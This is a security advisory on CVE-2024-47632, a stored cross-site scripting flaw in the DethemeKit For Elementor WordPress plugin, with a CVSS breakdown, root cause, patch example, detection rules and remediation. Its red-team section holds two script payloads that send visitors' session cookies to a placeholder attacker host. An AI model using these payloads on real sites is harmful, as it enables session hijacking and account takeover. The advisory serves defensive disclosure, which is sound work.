CVE-2024-47632

Executive Summary

CVE-2024-47632 is a Stored Cross-Site Scripting (XSS) vulnerability in the DethemeKit For Elementor WordPress plugin, affecting versions up to and including 2.1.7. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which are then executed whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the widespread use of Elementor page builder and its ecosystem, this poses a significant risk to WordPress sites using the vulnerable plugin. The patch status is currently unknown, leaving many sites exposed.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by checking checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the prevalence of WordPress and the plugin’s popularity elevate the real-world risk. Stored XSS can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability exists in the DethemeKit For Elementor plugin, which extends the Elementor page builder with additional widgets and features. The plugin fails to properly sanitize user input when processing data for certain widgets (e.g., testimonial sliders, team members, or custom post types). An authenticated user with contributor-level privileges can inject malicious JavaScript into fields such as names, descriptions, or URLs. This input is stored in the WordPress database and rendered without proper escaping when the page is loaded.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses_post()). This allows HTML and JavaScript to be injected.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Attacker creates or edits a page/post using a vulnerable DethemeKit widget.
3. Attacker injects malicious JavaScript into an input field (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the database.
5. When an administrator or visitor views the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (example from a hypothetical widget):

<?php
// Vulnerable: Direct output without sanitization
echo '<div class="testimonial-author">' . $author_name . '</div>';
?>

Patched Code (expected fix):

<?php
// Patched: Use WordPress escaping functions
echo '<div class="testimonial-author">' . esc_html( $author_name ) . '</div>';
?>

The patched version would apply esc_html() to neutralize any HTML/JavaScript before output. Since no official patch is available, users must manually apply similar escaping in custom code or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with DethemeKit For Elementor <= 2.1.7 installed and activated.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to Pages > Add New.
3. Add a DethemeKit widget (e.g., Testimonial Slider).
4. In the author name field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the page.
6. When an administrator visits the page, the script executes, sending their session cookie to the attacker.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for unusual page edits by low-privilege users.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hardening:

• Disable the plugin until a patch is released.
• Restrict contributor-level users from using vulnerable widgets via role management.
• Apply input validation and output escaping in custom code.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin files may vary by version)
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin pages.
  • HTTP requests containing <script> tags in POST data to wp-admin/admin-ajax.php.
• Log Entries:
  • WordPress debug log entries showing wp_kses failures.
  • Web server logs with %3Cscript%3E (URL-encoded script tags) in request URIs.
• Database Indicators:
  • Rows in wp_posts or wp_postmeta containing <script> tags.

Detection Engineering

YARA Rule

rule DethemeKit_Stored_XSS_CVE_2024_47632 {
    meta:
        description = "Detects stored XSS payloads in DethemeKit For Elementor plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47632"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $dethemekit_widget = /dethemekit-for-elementor/i
    condition:
        $dethemekit_widget and $xss_payload
}

Sigma Rule

title: DethemeKit For Elementor Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts against DethemeKit For Elementor
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        sc-status: 200
        cs-User-Agent|contains: 'Mozilla'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47632 DethemeKit Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and remove any suspicious content from pages/posts created by low-privilege users.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Fix:

• Monitor the plugin’s official page for updates. Apply the patch as soon as it becomes available.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for WordPress user roles.

Workaround:

• If the plugin cannot be disabled, manually add output escaping to the plugin’s PHP files (e.g., replace echo $var with echo esc_html($var)). This requires developer expertise and will be overwritten on plugin update.

Valters IT
Securing Digital Frontiers